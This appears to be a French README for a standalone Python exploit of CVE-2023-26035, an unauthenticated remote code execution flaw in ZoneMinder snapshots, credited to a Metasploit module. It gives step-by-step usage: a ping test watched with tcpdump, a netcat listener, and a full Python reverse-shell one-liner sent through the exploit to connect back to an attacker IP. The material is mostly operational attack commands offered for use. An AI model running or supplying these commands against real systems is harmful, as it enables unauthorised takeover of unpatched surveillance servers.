
Exploit pour CVE-2023-26035 affectant ZoneMinder < 1.36.33 et < 1.37.33
Il y a une Exécution de code à distance non authentifiée (RCE) affectant les instantanés ZoneMinder.
Il s'agit d'un exploit pour CVE-2023-26035.
ZoneMinder < 1.36.33 et
ZoneMinder < 1.37.33.

python3 zoneminder.py http://target
python3 zoneminder.py http://target command
pingExécutez tcpdump sur l'interface connectée à la cible (ici tun0) et filtrez pour les paquets ICMP :
sudo tcpdump -i tun0 icmp
Ensuite, exécutez un ping vers votre IP. Assurez-vous d'utiliser des guillemets " car sinon la commande ne sera pas interprétée correctement.
python3 zoneminder.py http://target "ping -C 4 your_ip"
Créez le listener avec netcat :
nc -lvnp 1337
Utilisez une oneliner de shell inversé :
python3 zoneminder.py http://TARGET "python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"YOUR_IP\",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")'"
Plus d'infos sur https://revshells.com.
L'exploit utilise requests et BeautifulSoup.
Installez-les avec :
python3 -m pip install requests beautifulsoup4
Je voulais simplement un exploit autonome qui ne nécessite pas Metasploit.
Le script est dérivé de https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/unix/webapp/zoneminder_snapshots.rb
https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-72rg-h4vf-29gr